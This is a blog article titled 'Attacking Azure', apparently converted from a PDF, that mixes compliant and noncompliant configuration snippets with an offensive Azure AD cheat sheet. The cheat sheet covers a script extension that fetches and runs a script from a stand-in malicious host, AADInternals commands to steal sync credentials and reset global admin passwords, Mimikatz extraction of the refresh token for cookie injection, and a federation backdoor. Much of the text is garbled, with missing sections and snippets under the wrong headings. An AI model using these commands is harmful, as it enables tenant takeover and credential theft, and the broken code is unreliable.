Attacking Azure PDF
Attacking Azure PDF
COM
Attacking Azure
· Apr 8, 2024 · 15 min read
Table of contents
Security Control
Execute Command on Virtual Machine using Custom Script Extension
Execute Commands on Virtual Machine using Run Command
Export Disk Through SAS URL
Password Hash Sync Abuse
Pass the PRT
Application proxy abuse
Command execution on a VM
Abusing dynamic groups
Illicit Consent Grant phishing
Add credentials to enterprise applications
Arm Templates and Deployment History
Hybrid identity - Seamless SSO
References
Show less
Microsoft Azure, a leading cloud computing platform, offers a myriad of services and
features to facilitate businesses' digital transformation. However, with the widespread
adoption of Azure comes an escalating need for robust security measures to defend
against evolving cyber threats. Attackers continuously devise sophisticated methods
to exploit vulnerabilities in Azure environments, ranging from credential theft and
misconfigurations to distributed denial-of-service (DDoS) attacks and malware
injection.
Understanding these attack vectors is crucial for organizations seeking to fortify their
Azure security posture. To effectively combat these threats, organizations must adopt
a proactive approach, implementing a comprehensive set of security best practices
tailored to Azure's unique architecture and services. By integrating multi-factor
authentication, conducting regular security assessments, implementing network
security measures, encrypting data, and enforcing stringent access controls,
businesses can bolster their defenses and safeguard their Azure deployments against
malicious actors.
Security Control
The scoping decisions guiding these mappings were carefully considered to ensure
relevance and accuracy. First and foremost, our focus lies within the scope of the
Enterprise domain v8 of the ATT&CK framework, excluding Mobile techniques for the
time being. Additionally, we concentrated on mapping security controls produced by
Microsoft or branded as Microsoft products, excluding third-party controls available
on the platform. The majority of the controls mapped were derived from Microsoft's
Azure Security Benchmark v2, augmented by our thorough review of Azure security
documentation. Notably, Azure Defender for servers was omitted from analysis due to
its complexity and recent inclusion within MITRE ATT&CK Evaluations.
To facilitate ease of interpretation and collaboration, we've created ATT&CK Navigator
layers for each mapped control, allowing for visual representation within the context
of the ATT&CK Matrix. Furthermore, a Markdown view is available, providing a
detailed enumeration of all mapped controls alongside the list of ATT&CK techniques
mitigated by each control.
By transparently documenting our scoping decisions and furnishing this foundational
set of mappings, we aim to foster community collaboration and accelerate
advancements in Azure security. Acknowledging the subjectivity inherent in mapping
security controls to ATT&CK, we welcome diverse perspectives and feedback. This
collective effort will undoubtedly refine our understanding and fortification of Azure's
security posture, ensuring robust defense against emerging threats.
{
"type": "Microsoft.Compute/virtualMachines/extensions",
"name": "CustomScriptExtension",
"apiVersion": "2020-12-01",
"location": "<vm-location>",
"properties": {
"publisher": "Microsoft.Compute",
"type": "CustomScriptExtension",
"typeHandlerVersion": "1.10",
"autoUpgradeMinorVersion": true,
"settings": {
"fileUris": ["https://malicious-site.com/malicious-script.ps1"],
"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -
File malicious-script.ps1"
}
}
}
The noncompliant code directly references a malicious script hosted on a remote site
and executes it on the virtual machine without considering security best practices,
such as script integrity and source validation.
Compliant Code:
COPY
{
"type": "Microsoft.Compute/virtualMachines/extensions",
"name": "CustomScriptExtension",
"apiVersion": "2020-12-01",
"location": "<vm-location>",
"properties": {
"publisher": "Microsoft.Compute",
"type": "CustomScriptExtension",
"typeHandlerVersion": "1.10",
"autoUpgradeMinorVersion": true,
"settings": {
"fileUris": ["https://secure-site.com/secure-script.ps1"],
"commandToExecute": "powershell.exe -ExecutionPolicy
RemoteSigned -File secure-script.ps1"
},
"protectedSettings": {
"storageAccountName": "<storage-account-name>",
"storageAccountKey": "<storage-account-key>"
}
}
}
Executing commands on a virtual machine using the Run Command feature in Azure
can pose security risks if not done following best practices. Attackers may exploit this
feature to pass PowerShell commands (Windows) or shell commands (Linux) to the
virtual machine with elevated privileges. Here are examples of noncompliant and
compliant code snippets illustrating this scenario:
Noncompliant Code:
COPY
{
"location": "<vm-location>",
"properties": {
"commandId": "RunPowerShellScript",
"script": "<malicious-script>",
"timeoutInSeconds": 60
}
}
{
"location": "<vm-location>",
"properties": {
"commandId": "RunPowerShellScript",
"script": "<secure-script>",
"timeoutInSeconds": 60,
"parameters": []
}
}
return sas_url
The noncompliant code generates a SAS URL for the disk without considering
security best practices. It lacks proper validation, access controls, and restrictions,
making the disk accessible to anyone with the URL, potentially leading to
unauthorized access and data exfiltration.
Compliant Code:
COPY
return sas_url
The compliant code implements security best practices by generating a SAS URL with
proper validation, access controls, and restrictions. It sets an expiry time for the SAS
token (in this case, 7 days from the current time) and grants only read permission to
the SAS token. By following these best practices, organizations can mitigate the risk
of unauthorized access and data exfiltration when exporting disks through SAS URLs
in Azure.
Import-Module .\AADInternals.psd1
Get-AADIntSyncCredentials
Reset Password of Any User: Using the Sync_* account, reset the password for any
user, including Global Administrators and the user who created the tenant.
COPY
Import-Module .\AADInternals.psd1
$passwd = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<SYNC
USERNAME>", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
Get-AADIntGlobalAdmins
Get the ImmutableID:
COPY
Import-Module .\AADInternals.psd1
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select
UserPrincipalName,ObjectID
Set-AADIntUserPassword -CloudAnchor "<ID>" -Password "<PASSWORD>" -
Verbose
Access Azure Portal Using the New Password: Once the password is reset, access
the Azure portal using the new credentials.
Passing the Primary Refresh Token (PRT) is a technique used to gain unauthorized
access to resources in Azure Active Directory (Azure AD) by extracting and
manipulating authentication tokens. Below are the steps and commands involved in
the process:
1. Extract PRT, Session Key (KeyValue), and Tenant ID:
COPY
Invoke-Mimikatz -Command '"privilege::debug"
"sekurlsa::cloudap" ""exit"'
Import-Module .\AADInternals.psd1
$tempPRT = '<PRT>'
while($tempPRT.Length % 4) {$tempPRT += "="}
$PRT =
[text.encoding]::UTF8.GetString([convert]::FromBase64String($tempPRT))
$ClearKey = "<CLEARKEY>"
$SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..',
'0x$&,' -split ',' -ne ''))
4. Copy the value from the above command and use it with a web browser:
Open the browser in Incognito mode.
Go to https://login.microsoftonline.com/login.srf.
Press F12 (Chrome dev tools) -> Application -> Cookies.
Clear all cookies and then add one named x-ms-RefreshTokenCredential for
https://login.microsoftonline.com and set its value to that retrieved from
AADInternals.
Mark HTTPOnly and Secure for the cookie.
Visit https://login.microsoftonline.com/login.srf again, and access will be
granted as the user.
Now, you can also access portal.azure.com.
Intune:
In addition to passing PRT, a user with Global Administrator or Intune Administrator
role can execute PowerShell scripts on an enrolled Windows device. The script runs
with SYSTEM privileges on the device. Here are the steps involved:
1. Access Intune Portal:
If the user has the Intune Administrator role, go to
https://endpoint.microsoft.com/#home and log in.
2. Check Enrolled Devices:
Go to Devices -> All Devices to check devices enrolled in Intune.
3. Execute PowerShell Scripts:
Go to Scripts and click on Add for Windows 10.
Create a new script and select a script, for example, adduser.ps1:
COPY
Import-Module .\AzureAD.psd1
Get-AzureADApplication | ForEach-Object {
try {
Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectId
$_.DisplayName
$_.ObjectId
} catch {}
}
. .\Get-ApplicationProxyAssignedUsersAndGroups.ps1
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT ID OF
SERVICE PRINCIPAL>
Command execution on a VM
Executing commands on a virtual machine (VM) can be crucial for various tasks,
including troubleshooting, configuration management, and deploying applications.
Below are commands and steps involved in executing commands on a VM using
Azure PowerShell:
1. Connect to Azure with Az PowerShell:
COPY
Contents of adduser.ps1:
COPY
cat
C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSR
eadLine\ConsoleHost_history.txt
cat C:\Users\
<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Console
Host_history.txt
Dynamic groups in Azure Active Directory (Azure AD) allow users to be automatically
added or removed based on defined rules. If these rules are not carefully configured,
it can lead to abuse, especially when users are invited as guests. Below are steps and
commands involved in abusing dynamic groups:
1. Check for Dynamic Groups:
Log in to the Azure portal and navigate to "Groups."
Identify any dynamic groups and select one.
2. Verify Dynamic Membership Rules:
Click on the dynamic group and select "Dynamic membership rules."
Ensure that it's possible to invite a user that complies with the rule.
3. Invite a New Guest User:
Go to "Users" and select "New Guest User."
Follow the prompts to invite the guest user.
Open the user's profile and click on "(manage)" under invitation accepted.
Select "YES" to resend the invite and copy the URL.
Open the URL in a private browser, log in, and accept the permissions.
4. Connect to the Tenant with AzureAD:
COPY
Connect-AzureAD
Import-Module .\AzureADPreview.psd1
Get-AzureADMSGroup | Where-Object { $_.GroupTypes -match
'DynamicMembership' } | Format-List *
Set-AzureADUser -ObjectId <USER OBJECT ID> -OtherMails <SECONDARY
EMAIL> -Verbose
Import-Module AzureADPreview.psd1
. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureSubDomains.ps1
Invoke-EnumerateAzureSubDomains -Base <BASE> –Verbose
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
Get-AzResource
4. Federation:
Create a trusted domain and configure its authentication type to federated:
COPY
Import-Module .\AADInternals.psd1
ConvertTo-AADIntBackdoor -DomainName <DOMAIN>
Obtain the immutable ID of the user you want to impersonate using the Msol
module:
COPY
Import-Module .\AADInternals.psd1
New-AADIntADFSSelfSignedCertificates
References
https://devsecopsguides.com/docs/attacks/cloud/
https://github.com/center-for-threat-informed-defense/mappings-explorer/
https://center-for-threat-informed-defense.github.io/security-stack-
mappings/Azure/README.html
https://medium.com/mitre-engenuity/security-control-mappings-a-starting-
point-for-threat-informed-defense-a3aab55b1625
https://github.com/0xJs/CARTP-cheatsheet/
Written by
Reza Rashidi Follow
Published on
DevSecOpsGuides Follow
MORE ARTICLES
Reza Rashidi Reza Rashidi
Reza Rashidi
Secure Coding
Cheatsheets
In today's interconnected digital
landscape, security is paramount for
developers across various pla…